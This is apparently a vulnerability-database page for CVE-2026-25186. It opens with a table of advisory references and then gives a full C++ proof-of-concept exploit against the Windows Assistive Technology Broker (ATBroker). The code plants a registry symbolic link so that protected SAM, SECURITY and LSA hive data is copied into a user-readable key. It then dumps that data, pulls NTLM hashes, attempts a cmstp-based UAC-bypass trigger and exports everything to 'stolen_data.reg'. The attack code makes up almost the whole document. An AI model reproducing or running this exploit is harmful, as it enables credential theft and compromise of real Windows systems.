| Reporter | Title | Published | Views | Family All 42 |
|---|---|---|---|---|
| CVE-2026-25186 | 10 Mar 202617:04 | – | attackerkb | |
| CVE-2026-25186 | 10 Mar 202616:57 | – | circl | |
| Microsoft Windows 信息泄露漏洞 | 10 Mar 202600:00 | – | cnnvd | |
| CVE-2026-25186 | 10 Mar 202617:04 | – | cve | |
| CVE-2026-25186 Windows Accessibility Infrastructure (ATBroker.exe) Information Disclosure Vulnerability | 10 Mar 202617:04 | – | cvelist | |
| EUVD-2026-10657 | 10 Mar 202618:31 | – | euvd | |
| EUVD-2026-10658 | 10 Mar 202618:31 | – | euvd | |
| Security information for Hitachi Disk Array Systems | 25 May 202602:39 | – | jvn | |
| March 10, 2026—KB5078734 (OS Build 25398.2207) | 10 Mar 202614:00 | – | mskb | |
| March 10, 2026—Hotpatch KB5078736 (OS Build 26100.32463) | 10 Mar 202614:00 | – | mskb |
==================================================================================================================================
| # Title : Windows TBroker Registry Symlink Information Disclosure |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : No standalone download available |
==================================================================================================================================
[+] Summary : This code demonstrates a proof-of-concept attack targeting Windows ATBroker (Assistive Technology Broker) to achieve sensitive information disclosure through unsafe Registry handling.
[+] POC :
#include <Windows.h>
#include <comdef.h>
#include <stdio.h>
#include <vector>
#include <string>
#include <map>
#include <thread>
#include <chrono>
#include <sddl.h>
#include <winternl.h>
#include <aclapi.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "ntdll.lib")
#define INTERNAL_REG_OPTION_CREATE_LINK (0x00000002L)
#define INTERNAL_REG_OPTION_OPEN_LINK (0x00000100L)
extern "C" {
NTSTATUS NTAPI NtCreateKey(
PHANDLE KeyHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
ULONG TitleIndex,
PUNICODE_STRING Class,
ULONG CreateOptions,
PULONG Disposition
);
NTSTATUS NTAPI NtOpenKeyEx(
PHANDLE KeyHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
ULONG OpenOptions
);
NTSTATUS NTAPI NtSetValueKey(
HANDLE KeyHandle,
PUNICODE_STRING ValueName,
ULONG TitleIndex,
ULONG Type,
PVOID Data,
ULONG DataSize
);
NTSTATUS NTAPI NtDeleteKey(HANDLE KeyHandle);
NTSTATUS NTAPI RtlNtStatusToDosError(NTSTATUS Status);
VOID NTAPI RtlInitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString);
}
class RegistryUtils {
public:
static std::wstring GetUserSid() {
HANDLE hToken = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
return L"";
DWORD dwSize = 0;
GetTokenInformation(hToken, TokenUser, nullptr, 0, &dwSize);
std::vector<BYTE> buffer(dwSize);
if (!GetTokenInformation(hToken, TokenUser, buffer.data(), dwSize, &dwSize)) {
CloseHandle(hToken);
return L"";
}
PTOKEN_USER pTokenUser = reinterpret_cast<PTOKEN_USER>(buffer.data());
LPWSTR lpSid = nullptr;
if (!ConvertSidToStringSid(pTokenUser->User.Sid, &lpSid)) {
CloseHandle(hToken);
return L"";
}
std::wstring sid(lpSid);
LocalFree(lpSid);
CloseHandle(hToken);
return sid;
}
static std::wstring RegPathToNative(const std::wstring& path) {
std::wstring regpath = L"\\Registry\\";
if (path.empty() || path[0] == L'\\')
return path;
if (path.find(L"HKLM\\") == 0) {
return regpath + L"Machine\\" + path.substr(5);
}
else if (path.find(L"HKU\\") == 0) {
return regpath + L"User\\" + path.substr(4);
}
else if (path.find(L"HKCU\\") == 0) {
return regpath + L"User\\" + GetUserSid() + L"\\" + path.substr(5);
}
return L"";
}
static bool CreateRegistrySymlink(const std::wstring& symlink, const std::wstring& target, bool isVolatile) {
std::wstring nativeSymlink = RegPathToNative(symlink);
std::wstring nativeTarget = RegPathToNative(target);
if (nativeSymlink.empty() || nativeTarget.empty())
return false;
printf("[*] Creating symlink: %ls -> %ls\n", nativeSymlink.c_str(), nativeTarget.c_str());
UNICODE_STRING name;
RtlInitUnicodeString(&name, nativeSymlink.c_str());
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
HANDLE hKey = nullptr;
ULONG disposition = 0;
ULONG options = INTERNAL_REG_OPTION_CREATE_LINK |
(isVolatile ? REG_OPTION_VOLATILE : REG_OPTION_NON_VOLATILE);
NTSTATUS status = NtCreateKey(&hKey, KEY_ALL_ACCESS, &objAttr, 0, nullptr, options, &disposition);
if (status != 0) {
SetLastError(RtlNtStatusToDosError(status));
return false;
}
UNICODE_STRING valueName;
RtlInitUnicodeString(&valueName, L"SymbolicLinkValue");
status = NtSetValueKey(hKey, &valueName, 0, REG_LINK,
(PVOID)nativeTarget.c_str(),
nativeTarget.length() * sizeof(WCHAR));
CloseHandle(hKey);
if (status != 0) {
SetLastError(RtlNtStatusToDosError(status));
return false;
}
return true;
}
static bool DeleteRegistrySymlink(const std::wstring& symlink) {
std::wstring nativeSymlink = RegPathToNative(symlink);
if (nativeSymlink.empty())
return false;
UNICODE_STRING name;
RtlInitUnicodeString(&name, nativeSymlink.c_str());
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE | OBJ_OPENLINK, nullptr, nullptr);
HANDLE hKey = nullptr;
NTSTATUS status = NtOpenKeyEx(&hKey, DELETE, &objAttr, 0);
if (status != 0) {
SetLastError(RtlNtStatusToDosError(status));
return false;
}
status = NtDeleteKey(hKey);
CloseHandle(hKey);
if (status != 0) {
SetLastError(RtlNtStatusToDosError(status));
return false;
}
return true;
}
};
class DataExtractor {
public:
struct RegistryValue {
std::wstring name;
DWORD type;
std::vector<BYTE> data;
};
static std::vector<RegistryValue> ExtractRegistryValues(HKEY rootKey, const std::wstring& subKey) {
std::vector<RegistryValue> values;
HKEY hKey = nullptr;
if (RegOpenKeyExW(rootKey, subKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
printf("[!] Failed to open key: %ls\n", subKey.c_str());
return values;
}
DWORD index = 0;
WCHAR valueName[256];
DWORD valueNameSize = 256;
DWORD valueType = 0;
DWORD dataSize = 0;
while (RegEnumValueW(hKey, index++, valueName, &valueNameSize, nullptr,
&valueType, nullptr, &dataSize) == ERROR_SUCCESS) {
std::vector<BYTE> data(dataSize);
if (RegEnumValueW(hKey, index - 1, valueName, &valueNameSize, nullptr,
&valueType, data.data(), &dataSize) == ERROR_SUCCESS) {
RegistryValue val;
val.name = valueName;
val.type = valueType;
val.data = std::move(data);
values.push_back(val);
printf("[+] Extracted value: %ls (Type: %d, Size: %d)\n",
valueName, valueType, dataSize);
}
valueNameSize = 256;
dataSize = 0;
}
RegCloseKey(hKey);
return values;
}
static void DumpHexData(const std::vector<BYTE>& data, size_t maxLen = 256) {
size_t len = min(data.size(), maxLen);
for (size_t i = 0; i < len; i++) {
printf("%02X ", data[i]);
if ((i + 1) % 16 == 0) printf("\n");
else if ((i + 1) % 8 == 0) printf(" ");
}
if (len < data.size()) printf("... (truncated)");
printf("\n");
}
};
class ATBrokerExploit {
private:
std::wstring m_sessionPath;
std::vector<std::pair<std::wstring, std::wstring>> m_targets;
void InitializeTargets() {
m_targets = {
{L"sam", L"\\REGISTRY\\MACHINE\\SAM\\SAM"},
{L"security", L"\\REGISTRY\\MACHINE\\SECURITY"},
{L"system", L"\\REGISTRY\\MACHINE\\SYSTEM"},
{L"lsa", L"\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa"},
{L"cached_creds", L"\\REGISTRY\\MACHINE\\SECURITY\\Cache"},
{L"domain_cached", L"\\REGISTRY\\MACHINE\\SECURITY\\Policy\\Secrets"},
{L"wdigest", L"\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest"},
{L"kerberos_keys", L"\\REGISTRY\\MACHINE\\SECURITY\\Policy\\Keys"},
{L"user_credentials", L"\\REGISTRY\\MACHINE\\SAM\\SAM\\Domains\\Account\\Users"},
};
}
std::wstring BuildSessionPath() {
DWORD sessionId = 0;
ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
wchar_t path[512];
swprintf_s(path, L"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\Session%d\\ATConfig\\colorfiltering",
sessionId);
return std::wstring(path);
}
bool TriggerSecureDesktop() {
printf("[*] Triggering UAC secure desktop...\n");
SHELLEXECUTEINFOW sei = { sizeof(sei) };
sei.lpVerb = L"runas";
sei.lpFile = L"cmd.exe";
sei.lpParameters = L"/c echo Testing > nul";
sei.nShow = SW_HIDE;
ShellExecuteExW(&sei);
printf("[+] UAC prompt should appear. Dismiss or let it timeout.\n");
return true;
}
bool WaitForCopy() {
printf("[*] Waiting for ATBroker to copy settings...\n");
for (int i = 0; i < 30; i++) {
Sleep(1000);
HKEY hKey = nullptr;
if (RegOpenKeyExW(HKEY_USERS,
L".DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
WCHAR valueName[256];
DWORD valueNameSize = 256;
if (RegEnumValueW(hKey, 0, valueName, &valueNameSize, nullptr,
nullptr, nullptr, nullptr) == ERROR_SUCCESS) {
RegCloseKey(hKey);
return true;
}
RegCloseKey(hKey);
}
}
return false;
}
void ExtractAndDumpData() {
std::wstring targetPath = L".DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering";
printf("\n[*] Extracting stolen data...\n");
auto values = DataExtractor::ExtractRegistryValues(HKEY_USERS, targetPath);
if (values.empty()) {
printf("[!] No data extracted!\n");
return;
}
printf("\n[+] Successfully extracted %zu values!\n", values.size());
for (const auto& val : values) {
printf("\n--- Value: %ls ---\n", val.name.c_str());
printf("Type: ");
switch (val.type) {
case REG_SZ: printf("REG_SZ\n"); break;
case REG_BINARY: printf("REG_BINARY\n"); break;
case REG_DWORD: printf("REG_DWORD\n"); break;
case REG_QWORD: printf("REG_QWORD\n"); break;
case REG_MULTI_SZ: printf("REG_MULTI_SZ\n"); break;
default: printf("Unknown (0x%X)\n", val.type);
}
printf("Data (%zu bytes):\n", val.data.size());
if (val.type == REG_SZ || val.type == REG_MULTI_SZ) {
wprintf(L"%ls\n", (wchar_t*)val.data.data());
} else {
DataExtractor::DumpHexData(val.data);
}
}
}
public:
ATBrokerExploit() {
InitializeTargets();
}
bool Exploit() {
printf("\n");
printf("========================================\n");
printf(" CVE-2026-25186 - ATBroker Exploit\n");
printf(" Windows Information Disclosure\n");
printf("========================================\n\n");
m_sessionPath = BuildSessionPath();
printf("[*] Session path: %ls\n", m_sessionPath.c_str());
RegistryUtils::DeleteRegistrySymlink(m_sessionPath);
std::wstring targetPath = m_targets[0].second;
printf("\n[*] Creating malicious registry symlink...\n");
if (!RegistryUtils::CreateRegistrySymlink(m_sessionPath, targetPath, true)) {
printf("[!] Failed to create symlink: %d\n", GetLastError());
return false;
}
printf("[+] Symlink created successfully\n");
printf("\n[*] Launching assistive technology (osk.exe)...\n");
ShellExecuteW(nullptr, L"open", L"osk.exe", L"", nullptr, SW_SHOW);
Sleep(2000);
printf("[*] Ensuring ATBroker is running...\n");
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = {};
CreateProcessW(L"C:\\Windows\\System32\\ATBroker.exe", nullptr, nullptr, nullptr,
FALSE, 0, nullptr, nullptr, &si, &pi);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
Sleep(1000);
TriggerSecureDesktop();
if (!WaitForCopy()) {
printf("[!] Timeout waiting for data copy\n");
RegistryUtils::DeleteRegistrySymlink(m_sessionPath);
return false;
}
printf("[+] Data copied successfully!\n");
ExtractAndDumpData();
printf("\n[*] Cleaning up...\n");
RegistryUtils::DeleteRegistrySymlink(m_sessionPath);
system("taskkill /F /IM osk.exe > nul 2>&1");
printf("\n[+] Exploit completed!\n");
return true;
}
};
class AdvancedATBrokerExploit : public ATBrokerExploit {
private:
void BypassUACForTrigger() {
printf("[*] Attempting silent UAC trigger...\n");
SHELLEXECUTEINFOW sei = { sizeof(sei) };
sei.lpVerb = L"runas";
sei.lpFile = L"cmstp.exe";
sei.lpParameters = L"/au /s C:\\Windows\\System32\\cmstp.exe";
sei.nShow = SW_HIDE;
ShellExecuteExW(&sei);
}
void ExtractNTLMHashes() {
std::wstring targetPath = L".DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering";
auto values = DataExtractor::ExtractRegistryValues(HKEY_USERS, targetPath);
for (const auto& val : values) {
if (val.name == L"V" || val.name == L"F") {
printf("\n[!!!] Found potential credential data in %ls:\n", val.name.c_str());
if (val.data.size() > 0x9c + 16) {
printf("NTLM Hash: ");
for (int i = 0; i < 16; i++) {
printf("%02X", val.data[0x9c + i]);
}
printf("\n");
}
}
}
}
public:
bool FullExploit() {
if (!Exploit()) {
printf("[!] Basic exploit failed, trying advanced techniques...\n");
BypassUACForTrigger();
Sleep(5000);
ExtractNTLMHashes();
}
return true;
}
};
int wmain(int argc, wchar_t* argv[]) {
printf("[*] Running with limited privileges (as designed)\n");
AdvancedATBrokerExploit exploit;
if (exploit.FullExploit()) {
printf("\n[+] Information disclosure successful!\n");
printf("[*] Check .DEFAULT user hive for stolen registry data\n");
printf("[*] Run 'regedit' and navigate to:\n");
printf(" HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering\n");
system("reg export \"HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering\" stolen_data.reg /y");
printf("[+] Data saved to stolen_data.reg\n");
return 0;
} else {
printf("\n[!] Exploit failed\n");
return 1;
}
}
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation